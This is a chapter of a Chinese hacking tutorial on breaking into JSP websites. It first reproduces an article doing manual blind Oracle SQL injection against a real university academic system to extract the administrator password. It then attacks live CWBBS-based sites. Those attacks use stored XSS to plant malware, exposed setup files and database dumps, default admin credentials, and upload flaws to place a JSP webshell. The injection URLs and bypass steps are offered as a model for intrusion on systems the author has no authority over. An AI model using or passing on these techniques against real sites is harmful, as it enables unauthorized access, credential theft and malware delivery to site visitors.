当前位置:文档之家› 第十四章

第十四章

第14章 JSP整站系统的安全性分析
 
14.1 Jsp+Orcale手工注入
14.2 分析著名JSP商务系统CWBBS安全性
从本章你可以学到如下几点:
1.Jsp+Orcale手工注入详细过程
2.JSP系统跨站漏洞详细分析
3.配置不当引起的敏感信息泄露问题
4.JSP系统上传漏洞分析与利用过程


前面两章分别为大家介绍了JSP的基础知识和JSP程序中常见的各种漏洞。相信大家都已经掌握了,不过在实践性还是不够强,所以本章就为大家演示如何从实际中来得到经验。第一个例子演示的是Jsp+Orcale手工注入的文章,在前面虽然提到了Orcale注入的工具,但不够详细,所以就用一篇Jsp+Orcale手工注入的文章来增加Orcale注入的一个空白,这样以后在遇到了后台数据库是Orcale时,就知道怎么去手工入侵了。Jsp+Orcale注入的文章是引用的由剑心写的《03 利用Jsp+Orcale注入再度杀入教务处》。而第二个例子《分析著名JSP商务系统CWBBS安全性》则是由我写的,教大家如何分析一个完整JSP系统,并从中找出漏洞,这样以后大家就知道怎么去分析JSP系统漏洞了。


14.1 Jsp+Orcale手工注入 返回

在Jsp+Orcale注入方面的技术文章目前还是比较少,一方面使用Orcale数据库的网站并不是太多并且大多数是大型的系统,安全系统非常高。所以一般能够入侵的人也不是太多,就算入侵成功了也不会写文章。因为都是大型系统,如果被公开了影响比较大,很多黑客也考虑自身安全根本不会公布出来。
不过由剑心写的《利用Jsp+Orcale注入再度杀入教务处》确非常好,不仅详细的讲解了Orcale数据库的注入技术,而且思路也非常清晰,所以,可以做为以后大家入侵Orcale数据库的网站的范例。下面就是该文章的内容:
利用Jsp+Orcale注入再度杀入教务处
大家可能记得上次我写过进入教务处的文章,但是想来想去还是觉得不完美,不只是没有得到网站管理的最高权限,而且前后花费的时间太长,并且是从网段的机器旁注进去的,实在不爽,既然我们是搞脚本的,那么是真的不能从80端口渗透么?于是就再次决定去试试了!

一、判断注入点的数据库类型

因为网站是Jsp+Unix架构的,权限也配置得很好,没有什么目录浏览之类的漏洞,再加上上次的测试也能确定没有什么上传方面的漏洞了。这么少的功能应该是比较安全了,那么剩下的就只能看看有没有注入方面的问题了。整个网站查询数据库的地方有很多,登陆的地方肯定是一个,但是测试了也是没有问题的,那么现在只能看看公告的地方了!主页上有如下一个公告:
Url:http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351
首先提交:
http:/

/fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and 1=1
正常返回如图14-1所示。
接着提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and 1=2
返回信息如图14-2所示。
图14-1 添加and 1=1返回正常
图14-2 添加and 1=2返回错误
嘿嘿,有了上面两个Url提交的结果就可以判断出是存在Sql注入漏洞的了,并且能确定是一个Int类型的注入点,因为它将我们的and 1=1和and 1=2也当作Sql语句处理了,无论是什么数据库,到这一步都说明我们能注射代码的哦!让我们继续吧!知道了存在注入就应该看看是什么类型的数据库了,直接加个单引号让他出错看看!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351'
返回跟图14-2一样的结果,是出错了,但是也可以知道服务器方面是做了错误屏蔽的,这样我们就不能直接得到数据库类型了,这难不倒我!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351/*jnc
返回还是如图14-2一样的结果,我们知道如果是Mysql的话,因为/*是注释字符,那么这个应该正常返回跟图14-1一样的结果,这里返回错误说明不应该是Mysql,那么继续判断吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351--jnc
返回如图14-3一样的结果,呵呵,跟图14-1差不多吧!这说明当前的数据库服务器是支持“--”注释字符的,而跟Jsp常用搭配的支持“--”注释字符的,也就Mssql和Oracle而已,接下来要判断数据库是Mssql还是oracle了,提交Url:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351;
返回如图14-4一样的结果,说明是不支持“;”分割的多句查询哦!我们知道Mssql是支持“;”多句查询的,那么这里就应该是Oracle了!不过还是提交个Url查询下Oracle的系统表看看是不是真是Oracle吧!Url如下:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tables)>0--
哈哈,正常返回如图14-5所示,这下确定了这个注入点是Jsp+Oracle的int类型的注入点!
图14-3 支持--注释
图14-4 不支持;
图14-5 确定为Oracle的int类型的注入点

二、猜测后台存放管理员的用户密码的表列名

到这里就要调整下我们的注入思路了!从系统登陆的地方我们看到可以选择是什么类型的用户,如图14-6所示,这里我们关心的肯定是如何取得系统管理员的权限!如果我们知道了用户名和密码是放在什么表中就可以通过这个注入点进行猜测了!查看登陆页面的源代码发现了这两行代码:

ss="input_text" id="username" size="9">



一般的程序员在写程序的时候为了方便或者习惯,都是将列名做为变量传递的,这为我们黑盒测试带来了方便。Oracle数据库的注入不同于其他数据库,如Access和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns系统表就存储了用户的所有的表、列名,其中table_name表示的是系统里的表名,column_name里的是系统里存在的列名,我们就可以通过这些系统表来猜测系统的数据库结构了!提交如下连接:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where column_name like '%25PASSWORD%25')>0--
注意其中的%25是%的Url编码,通过这个语句就可以查询user_tab_columns系统表,看里面列名与password相似的记录的条数,注意列名要用大写表示哦!结果返回如图1类似的结果,说明系统里是含有password列的,将%25去掉再次提交返回如图1类似的结果,证实了我们的猜测!接着提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where column_name like '%25USERNAME25%')>0--
用相似的方法证明了username列的存在。接下来是判断表名了,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25ADMIN%25' and column_name like '%25USERNAME25%')>0--
返回错误,说明应该不存在一个名字里含有admin并且列名里含有USERNAME的表,接着判断下有没有名字里含有USER的目标表吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME25%')>0--
嘿嘿,运气不错,还真有这样的表!看看有几个吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME25%')>1--
这下出错了,看来只有一个这样的表哦!继续吧!看看这个表名是什么!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and length(table_name)=4 and column_name like '%25USERNAME25%')>0--
这句是猜名字含有USER那么长度至少是4啦,提交后返回错误,说明表名不是USER,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select coun

t(*) from user_tab_columns where table_name like '%25USER%25' and length(table_name)=5 and column_name like '%25USERNAME25%')>0--
正常返回啦,表名是5位哦?是什么呢?试试USERS吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users)>0--
正常返回啦!嘿嘿,表名和列名都猜到了,现在来查询我们需要的东西吧!提交:
http://fuckjwc/hust//pub_message/message.jspfmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users)>100--
晕!正常返回啦!表里的记录这么多啊!看来很可能这是学校的所有人的用户名字和密码都在这里呢!看看我的在不在里面吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users where username='0207******')=1--
居然正常返回了,也就是说普通用户的信息是放到这个表里的!那么管理员的信息是不是在这个表里呢?去公告里看了看,发现有个zhaoyi的用户,用zhaoyi登陆教务管理员发现提示密码错误,看来是存在这个用户名的,并且属于教务管理员权限,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users where username='zhaoyi')=1--
正常返回,嘿嘿,这给了我一点点希望,既然教务管理员的信息是放到这个表里的那么系统管理员的信息不也可能放到这个表里么?但是它是如何来区分用户的类别的呢?这个时候我记起来了在登陆的地方有个选择类型的登陆表单,去查看源文件发现了这个utype变量和下面的代码:

系统管理员
嘿嘿,很有可能是通过utype这个变量来决定用户的权限的哦!并且根据编程人员的习惯很有可能utype=8代表的是系统管理员,让我们看看是不是有这个列吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(utype) from users)>0--
太让人难过了,返回信息还是如图14-2所示,也就是说不存在utype这个列,不过肯定是存在与这类似的一个列的,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(type) from users)>0--
哈哈,正常返回了!看看我的type类型值是不是登陆表单处的1吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select type from users where username='0207******')=1--
很惊喜地发现我们的猜想是对的,我的type值是1,现在看看type值为8的人有几个吧!提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 and (select count(*) from users where type=8

)=1--
果然符合系统管理员的身份,这样的用户只有一个,我们的目标也就明确了哦!

接下来是猜测管理员的用户名和密码,这里有个插曲拿来说下,也给大家一起讨论下。本来想偷懒用Union查询的,因为union查询要求系统前后查询的列数和列的类型都相同,所以首先提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4351 order by 23--
利用order猜测出了这个select查询语句的列数,然后就是艰苦的猜测列的类型了,提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from users--
提交这个连接正常返回,因为NULL是可以匹配所有类型的变量的,然后就是按顺序从头到尾慢慢匹配每个列的类型。因为Oracle列有三个类型,数字型,字符型和日期型,所以分别用数字,字符和TO_DATE('2006','yyyy')替换,但是当所有的类型都匹配完成,提交Url:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and 1=1 union select 111,222,333,444,'jnc1','jnc2',555,'jnc3','jnc4',666,'jnc4',777,'jnc5','jnc6','jnc7','jnc8',888,'jnc9',TO_DATE('2006','yyyy'),999,100,'jnc10','jnc11' from users where username='zhaoyi'--
正常返回,但是当我激动的将前面的and 1=1变成and 1=2的时候,郁闷的情形发生了,返回了如图14-2的情况,我对Oracle注入并不精通,有人知道解决的办法欢迎来手册指教!

三、得到后台管理员的用户密码

插曲讲完了继续我们的注入之旅吧!好在用户名和密码估计也不会太长,利用Oracle的几个字符函数如length()可以得到字段的长度,然后就可以利用substr()函数取得字符串的某一个特定的字符,最后为了猜测方便就用ascii()函数将字符转换成ascii码,就方便猜测了!构造的猜测语句如下:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select length(username) from users where type>4)>1--
正常返回,用户名长度大于1
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select length(username) from users where type>4)>2--
返回错误,用户名长度等于2
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select ascii(substr(username,1,1)) from users where type>4)>97--
返回错误,应该第一位是数字
......//二分法大家都会了吧!
最后猜测出用户名字居然是15,先不吐血了,继续猜测密码!
用上面猜测用户名的办法提交:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select length(passwor

d) from users where type>4)>10--
返回错误
......
长度为8
然后猜测密码吧:
http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&messageid=4352 and (select ascii(substr(password,1,1)) from users where type>4)>97--
......
费了N长的时间终于把密码猜测出来了!密码为s8*****n!
去后台登陆试试!嘿嘿,果然是系统管理员呀!如图14-6和图14-7所示,看了看,也没有什么好玩的!还是得不到webshell,不过尝试了一次Oracle的注入,感觉还真不错!
图14-6 后台登陆
图14-7 进入后台
另外这个系统采用的是清华大学的一个教务管理程序,大家快去看看自己的教务处是不是采用的这种系统呵,不是学生的就不用看了!有什么问题欢迎到论坛讨论,我的ID是剑心。

编辑点评:Oracle的注入文章和工具在网上并不多见,这篇文章手工注入了Oracle网站,同时给出了注入原理和方法,可以给初学Oracle注入的读者一个感性的认识。




14.2 分析著名JSP商务系统CWBBS安全性 返回


CWBBS的中文名叫云网论坛,它是采用JSP环境开发一套系统。集中了论坛、CMS(网站内容管理系统)、博客、聊天室、商城、交友、语音灌水等于一体的门户式社区。这样功能非常全面的JSP系统在目前国内还是少见的,对于这个系统的更多内容大家可以去参考官方网站(https://www.doczj.com/doc/fc9074979.html,/)的详细介绍。目前非常多的网站使用这个系统作为自己的门户系统,用关键字“Powered by CWBBS”就可以搜索到使用这个系统的网站数目,为9330,如图14-8所示。这在国内的JSP系统中使用的比较多的一个系统,也是站长网极力推荐的一个JSP商务系统。
图14-8 使用CWBBS系统的网站
虽然这个系统功能非常的强大,但是存在一些安全问题,其中最为严重的要数脚本跨站漏洞。至于注入漏洞方面防御的比较好,下面我们就来分析这套系统所存在的漏洞代码吧,为了更好的增加实战性,这里我用使用这个系统的网络来做测试,我们自己不搭建环境了。
这个系统因为采用的是JSP+JavaBean+Servlet+MySQL架构的,很多代码分析起来是比较麻烦,难理解的地方我都会加上注释的。

一、 脚本跨站漏洞
这个系统出现问题最多的就是脚本跨站漏洞,很多参数如ID都进行了整型转换所以注入漏洞比较少。但是大部分地方都没有对输入代码进行转换,导致出现比较的脚本跨站漏洞,下面就给大家分析这些存在跨站漏洞的代码。
(1)、CMS跨站
CMS是用于网站的内容管理系统,它主要用于文章的发布,我们都知道现在不管是什么系统了都对文章有一个评论的功能。而这个评论没有对代码转换的全面的话,就会出现

跨站漏洞,而这里就是这样。CWBBS的CMS文章的评论也出现了跨站漏洞,问题出在了doc_show.jsp文件中,它是用于显示文章的,同时也支持评论。评论的页面如图14-9所示,因为“姓名”和“来自”输入框没有对数据进行转换,所以出现了跨站漏洞,如图14-10所示。
图14-9 评论页面
图14-10 跨站漏洞
我们来看看系统是如何处理这些代码的,先来看看客户端中评论表单的代码,如下所示:


 发表评论
姓 名

................省略代码
来 自

.................省略代码

从上面我们可以知道,这个评论表单的是由addcomment处理的,姓名的name属性为nick,来自的name属性为link。接着我们来看这个表单是如何被处理的,在doc_show.jsp中搜索addcomment就可以找到处理代码了,如图14-11所示。
图14-11 搜索addcomment找到处理代码
我们把处理代码复制下来,如下所示:
String op = ParamUtil.get(request, "op");
//定义一个op对象,request的作用是获得客户端输入的参数
CommentMgr cm = new CommentMgr();
//定义一个cm对象,作用为执行数据库语句
if (op.equals("addcomment")) {
//执行表单中提交过来的数据
try { //异常处理
cm.insert(request);
//利用cm对象执行insert语句,将我们提交的数据插入到数据库中
}
catch (ErrMsgException e) {
out.print(StrUtil.Alert(e.getMessage())); //发生异常则输出异常原因
}
}
因为采用的是JavaBean技术,所以我们是看不到直接的数据库操作代码了,因为系统已经把数据库操作代码封装到了JavaBean组件中去了。虽然,都被封装到了组件中了,但要进行数据库操作则就是通过对象的方法来引用执行了。上面定义了op和cm两个对象,op用于获得我们从客户端输入的数据,而cm则是完成数据库插入操作,虽然上面不像以前的处理代码不一样,但结果还是一样的。我们可以看到,op对象获得数据库并没有进行任何的处理和过滤就直接把数据放入到了数据库插入操作中去执行了。没有过滤就把数据插入到了数据库中,难道这不是典型的跨站漏洞吗?

(2)、论坛跨站
论坛是CWBBS系统最重要的一个部分,该论坛功能非常的强大。个人感觉功能上还是仿造的动网的,功能多自然漏洞也多咯,下面就来找漏洞吧!
论坛提供了一个消息中心的功能,作用是用于在论坛中的会员间发送消息的功能,如图14-12就

是该消息中心的页面。
图14-12 消息中心页面
这个功能是好的,不过因为没有对输入的数据进行转换所以发生了跨站漏洞。而且这个功能因为可以给别人发送消息,所以我们可以利用这个功能来挂马,当别人打开我们发送了挂马的消息后就会中招。例如,这里我注册了两个用户,一个为zengyunhao,另一个为illue5。这里我用zengyunhao向illume5发送消息,其他消息的标题和内容都为为,如图14-13所示。点击发送之后,我们进入收件箱,就发生了挂马,百度网站被打开了,如图14-14所示。
图14-13 向illum5发送挂马代码
图14-14 挂马成功
上面消息接收者的name=receiver、消息标题为title、内容为content。我们来看看这三个变量是如何在send_do.jsp文件处理的,如下所示:
String title,receiver,content,errmsg=""; //定义几个String类型的变量
title = ParamUtil.get(request, "title"); //获得消息的标题
receiver = ParamUtil.get(request, "receiver"); //获得消息的接收者
content = ParamUtil.get(request, "content"); //获得消息的内容
if(title.trim().length()==0||content.trim().length()==0)%>
<% errmsg += SkinUtil.LoadString(request,"https://www.doczj.com/doc/fc9074979.html,bel.message.message","title_content_can_not_null") + "\\n";
//标题和内容去掉两边的空格后,两者有一个为0的话,就弹出消息,显示标题和内容为空
if(!errmsg.equals("")) {
out.print(StrUtil.Alert_Back(errmsg));
return;
}
%> //返回错误提示

//使用javabean,调用的是com.redmoon.forum.message.MessageMgr专门用于处理消息
<%
boolean isSuccess = false; //设置变量isSuccess为false
try {
isSuccess = Msg.AddMsg(request); //利用javabean获得客户端输入的所有消息
}
catch (ErrMsgException e) {
out.println(StrUtil.Alert_Back(SkinUtil.LoadString(request,"info_operate_fail")+e.getMessage())); //如果处理失败,就显示错误提示
}
%>
<% if (isSuccess) { //把获得客户端消息发送出去
out.print(SkinUtil.LoadString(request,"info_op_success"));
}
%>
我们在来整理一下上面的思路,首先我们在客户端输入数据。并且在客户端中会用javascript来判断是否输入的数据。数据被传到了服务端后,系统首先去掉标题和内容两边的空格并判断是否为空,如果为空就发送失败。这里我们来演示一下,收件人为illume5,其中标题和内容全部输入空格,如图14-15所示,这样可以通过客户端javascript的验证了,因为它只检测是否含有数据,空格当然也算空格了。我们点击提交后,因为服务端会过滤标题和内容两边的空格,所以过滤之后他们的长度都为0了,自然就弹出了错误提示框了,如图14-16所示


图14-15 发送标题和内容都空格的消息
图14-16 发生错误提示
如果我们输入的标题和内容在服务端过滤之后不为0的话,就使用javabean,调用它的是com.redmoon.forum.message.MessageMgr类处理消息,并把消息发送出去。上面之所以发生跨站漏洞,是服务端只是简单的判断一下我们输入的标题和内容是否为空,如果为空就弹出错误提示,如果不为空就发送出去。根本没有数据本身进行检测,所以我们输入跨站代码它也不知道,这样就自然发生了跨站攻击了。
论坛相似跨站的地方还有几个,因为处理代码都基本上一样,所以代码就不在分析了。就给大家演示下漏洞。我们可以修改自己在注册时的资料,不过在修改时并没有对输入框中的参数进行过滤,而且这里还提供了签名的功能,所以这个地方输入跨站之后,所有浏览我发的帖子都会发生跨站。所以我们可以通过发一些吸引别人的帖子来达到挂马的目的。
论坛还给了我们普通会员提供了发帖和发起辩论的功能,但是他们也同样没有过滤好,发生了跨站攻击。我这里以辩论作为演示,如图14-17和图14-18所示。
图14-17 辩论跨站
图14-18 跨站漏洞


(3)、博客跨站
CWBBS自带了博客也该系统的一大特色,我们只需要在论坛中注册一个用户,然后开通一下博客就拥有的一个博客了。要使用博客之前必须要开通博客,其实就是填写一些博客的信息,如博客名、博客标题等等,如图14-19所示。可是图14-19中的参数都是没有经过转换和过滤的,导致出现了跨站漏洞,我们在上面填写挂马代码也发生挂马,如图14-20和14-21所示。
图14-19 激活博客,填入跨站和挂马代码
图14-20 跨站漏洞
图14-21 博客首页挂马
先来看看服务端中对输入的数据是如何处理的,我们填好了数据之后,点击提交按钮就可以提交数据了,那么来看这个提交是到了那里呢?代码如下所示:
">
我们输入的数据被提交到了https://www.doczj.com/doc/fc9074979.html,erconfig中,来看看数据是如何在https://www.doczj.com/doc/fc9074979.html,erconfig中处理的,如下所示:
<%
String skincode = UserSet.getSkin(request); //获得博客的皮肤数据
if (skincode.equals("")) //如果没有提交,则使用默认皮肤
skincode = UserSet.defaultSkin;
SkinMgr skm = new SkinMgr(); //建立一个skm对象
Skin skin = skm.getSkin(skincode); //获得皮肤代码
if (skin==null) //如果为空,则使用默认
skin = skm.getSkin(UserSet.defaultSkin);
String skinPath = skin.getPath(); //获得皮肤路径
String userstr = SkinUtil.LoadString(request,"https://www.doczj.com/doc/fc9074979.html,erco

nfig", "my_blog_add");
//这里为关键代码,将我们输入的数据直接放入到数据库中
userstr = StrUtil.format(userstr, new Object[] {Global.AppName});
%>
上面的代码比较的难懂,因为用JavaBean封装了。不过有一些JSP代码分析经验还是可以看的出来,上面一个request用于获取客户端数据,之后利用系统提供的的组件实现具体的功能。上面还是可以看出,所有的数据也是没有经过任何安全措施就进入了组件里了,自然漏洞也发生了。
博客还提供了很多功能,如友情连接功能,如图14-22所示。
图14-22 链接功能
不过它也同样的存在跨站漏洞。客户端代码如下所示:


……………………省略代码
">
可以看到我们提交数据的表单是由文件的op对象的add方法处理的,其中提交按钮使用的是https://www.doczj.com/doc/fc9074979.html,er.link类,其作用是添加。在来看看是如何处理的这些链接的,代码如下所示:

//使用javabean组件,调用com.redmoon.forum.Privilege类
<%
LinkMgr lm = new LinkMgr(); //定义对象lm
LinkDb ld = new LinkDb(); //定义对象ld
String op = StrUtil.getNullString(request.getParameter("op"));
//获得我们在客户端表单中输入的参数,是通过op来传递的
if (op.equals("add")) { //如果执行的add操作,即添加
try {
//如果是添加操作,就把我们获得的数据,通过lm对象的add方法添加执行
if (lm.add(application, request))
out.print(StrUtil.Alert(SkinUtil.LoadString(request,"https://www.doczj.com/doc/fc9074979.html,mon", "info_op_success")));
}
catch (ErrMsgException e) { //如果添加错误,则显示错误信息,并返回
out.print(StrUtil.Alert_Back(e.getMessage()));
}
}
先通过op对象获得我们客户端所有输入的数据后,判断操作是否为添加,如果为添加则使用lm对象的add方法把数据加入到数据库中。数据并没有经过任何的判断就使用添加方法了,这难道不是漏洞吗?因为直接提交跨站代码被封闭了,所以提交"><",如图14-23所示。点击添加按钮就把数据加进去了,自然也发生了跨站漏洞,如图14-24所示。
图14-23 插入跨站代码
图14-24 发生跨站
当然,链接不仅仅只有增加的功能,如图14-22中,还有编辑、删除、移动的功能。对于添加就相当于执行insert操作,而编辑则是update、删除则是delete操作。同样,重新编辑一个链接也同样会发生跨站漏洞,因为代码类似,这里就不在重复了。
博客不仅仅这些地方存在跨站漏洞

,如博客后台的目录管理、相册、添加文章、评论等地方都存在跨站漏洞。基本上可以输入数据的地方都存在不同程度跨站漏洞,程序员在编写程序的时候根本就没有到跨站的危害。所有的数据都没有进行任何的过滤。


二、配置不当引起敏感信息泄露

这个本来不是漏洞的,也不是程序的问题。是在搭建网站的时候没有配置好服务器,导致服务器很多敏感信息泄露。这个问题是我在测试使用CWBBS系统网站的时候发现的,这和程序并不很大的联系,是服务器没有配置好。
CWBBS系统中有一个setup的目录,该目录下有很多的敏感信息,包括数据库,如图14-25所示。
图14-25 setup目录下的文件
它是用于论坛安装时使用的,不过有一些网站在搭建完系统之后忘记把这个目录给删除掉,使得我们可以进入这个目录下。例如查看setup.jsp文件就可以得到服务器上的一些信息,包括服务器类型、网站的绝对路径等等,如图14-26所示。
图14-26 setup.jsp文件泄露的敏感信息
其他文件也可以泄露很多信息,如setup2.jsp文件居然可以配置网站后台数据库的连接,如图14-27所示。
图14-27 配置数据库连接
我们点击“连接测试”就可以测试出连接数据库是否成功。Setup3.jsp文件还可以设置网站的环境变量,如图14-28所示。
图14-28 设置网站环境变量
当然了,对于这个目录下最重要的东西是数据库我们肯定是忘不了的,直接在后面加是cwbbs.sql就可以看到数据库中的所有信息了,如图14-29所示。
图14-29 数据库内容
当然,我测试的这个网站不仅仅是setup这个目录没有删除,就连服务器也配置非常的不合理,出现了目录浏览漏洞。我们可以遍历服务器目录中的所有文件,我们只需要在URL后添加目录名即可遍历目录下所有的文件了,如图14-30所示。
图14-30 遍历目录
对于Tomcat服务器,我们可以使用关键字“Directory Listing For”就可以找出所有使用Tomcat服务器而造成遍历漏洞的服务器,如图14-31所示。
图14-31 Tomcat服务器的遍历漏洞


三、上传漏洞

这个系统最大的也是致命性的漏洞恐怕就要算是上传漏洞了。CWBBS提供了比较多的上传功能,比如在论坛中发一个帖子的时候就提供了两个上传功能,一个是上传图片、一个是上传附件,如图14-32所示。
图14-32 上传页面
我们先在上传图片的上传框中上传一个JSP后缀的文件,系统马上就弹出一个对话框,显示只允许上传的文件格式,如图14-33所示。
图14-33 只允许上传图片

文件
一开始感觉这里还是挺安全的,不过后来一想觉得有点不对。因为我的网速是比较慢的,而这里验证的速度却非常快,根据以往的经验觉得它在本地验证的后缀名。马上来分析代码,终于在文件uploadimg.htm中找到了对图片上传处理的代码,如下所示:
function form1_onsubmit() {
var fileName = form1.filename.value;
var p = https://www.doczj.com/doc/fc9074979.html,stIndexOf(".");
if (p==-1) {
alert("文件非法,只允许上传图像文件!");
return false;
}
else {
var len = fileName.length;
var ext = fileName.substring(p + 1, len).toLowerCase();
if (ext=="gif" || ext=="jpg" || ext=="png" || ext=="bmp")
//允许上传的文件类型
else {
alert("文件非法,只允许上传图像文件!");
return false;
}
}
}
看到没有系统只允许我们上传gif、jpg、png、bmp这图片文件,其他的任何文件都不允许上传,如果上传了就弹出对话框,显示“文件非法,只允许上传图像文件!”。不过它这里用的javascript验证的,我们就有办法对付了。我们先把文件保存到本地,然把上传类型改为if (ext=="gif" || ext=="jpg" || ext=="png" || ext=="bmp" || ext=="jsp"),这样我们就能够上传JSP木马了。当然记得action的值要改成绝对路径。利用这个漏洞,我们可以上传JSP木马。
我们在来看看上传附件的地方,我们也上传一个JSP文件进去,同样也是弹出一个对话框,如图14-34所示。
图14-34 不允许上传JSP
不要以为这里就是在客户端验证了,这里用的服务端验证。而且在验证上也没有漏洞,代码我已经分析过了,这里就不贴出来了。不过对于它我们仍然有办法突破,不过前提是必须进入后台。好在我运气好,居然遇到一个默认口令(用户名:admin 密码:111111)的网站。其后台地址为/cms/index.jsp。
进入后台之后“论坛管理”的“系统设置”下的“论坛配置”按钮就可以进入论坛的配置页面了,在这里可以设置上传文件的后缀名,我们要上传JSP木马,只需要往里面添加一个jsp后缀就可以搞定了,如图14-35所示。
图14-35 往上传合法扩展名中添加jsp
虽然上面的方法同样可以得到webshell,但是感觉还是比较麻烦。第一种需要修改代码,而第二种条件则更加苛刻,需要进入后台。不过好在我还发现了另外一个更大上传漏洞,下面我们就来分析分析。
CWBBS有一个非常好的功能就是支持插件,在系统默认的情况下,论坛中自带了一个商店的插件。利用这个插件,只要是会员都可以申请开一个店面用来做生意。在开店之前要给自己的店面填写一些资料,比如店名等等,如图14-36所示。不过这里因为没有过滤我们

输入的数据,所以出现了跨站漏洞,如图14-37所示。
图14-36 填写店面的信息
图14-37 发生跨站

在店面中也提供了一个链接功能,上面还允许我们上传图片,我们来上传一个JSP文件后,马上返回错误提示,如图14-38所示。后来看了下处理代码,发现没什么问题,我们也无法突破。
图14-38 上传错误
店面还提供了一个功能,就是LOGO,也就是店面的图片标志。我们可以上传图片标识自己的店面,如图14-39所示。
图14-39 上传LOGO
我们先来看看系统是如何对上传的LOGO图片如何处理的,要完成对LOGO的上传用到了两个文件,一个是introduction.jsp另一个是introduction_logo.jsp。先来看introduction.jsp的处理代码,如下所示:


//LOGO上传的表单,处理文件为introduction_logo.jsp

修改本店标志图片( LOGO )


选择






    

( 上传空文件将删除LOGO,宽度可以通过上一个编辑框中的LOGO宽度来调整 )



<%
String img = as.getLogo(); //获得上传的LOGO
if (img!=null && !img.equals("")) {
//如果LOGO不为空,切执行也不为空,则判断宽度
String w = "";
if (as.getLogoWidth()>as.LOGO_NO_WIDTH)
w = "width=" + as.getLogoWidth();
%>
" <%=w%>>
<%}%>
//这里为LOGO输出的路径




introduction.jsp文件的主要作用是判断上传LOGO的宽度以及LOGO输出的路径,下面来看看introduction_logo.jsp文件对上传的LOGO是如何处理的,如下所示:


<%
if (!privilege.isUserLogin(request)) {
out.print(StrUtil.makeErrMsg("请先登录!"));
return;
} //判断是否登陆了

AuctionShopMgr asm = new AuctionShopMgr();
//创建一个asm对象
try {
if (asm.modifyLogo(application, request))
//利用asm对象的modifyLogo方法执行从客户端获取的数据,并将它上传的服务器中
out.print(StrUtil.Alert_Redirect("Logo修改成功!", "introduction

.jsp?userName=" + StrUtil.UrlEncode(asm.getUserName())));
//如果上传成功,则输出“Logo修改成功”并输出上传LOGO的路径
else
out.print(StrUtil.Alert_Back("Logo修改失败!"));
//否则上传失败
}
catch (ErrMsgException e) {
out.print(StrUtil.Alert_Back(e.getMessage()));
} //输出发生异常的信息
%>
从上面代码我们可以知道,我们上传的LOGO只是在introduction.jsp判断一下宽度,然后就把LOGO传送到了introduction_logo.jsp中去了。不过在introduction_logo.jsp确没有对上传的LOGO做任何的处理,就直接把它上传到了服务器中了。所以这里我们可以上传任何类型的文件。
因为是JSP网站,所以我这里上传一个JSP木马,不出所料,我们顺利的上传到了服务器中去了。上传之后显示图片是一个叉叉,我们点击右键就可以看到我们上传的木马路径了,如图14-40所示。打开就可以看到JSP木马已经在服务器中执行了,我们得到了一个JSP的webshell,如图14-41所示。
图14-40 上传JSP木马成功
图14-41 得到的JSP的webshell
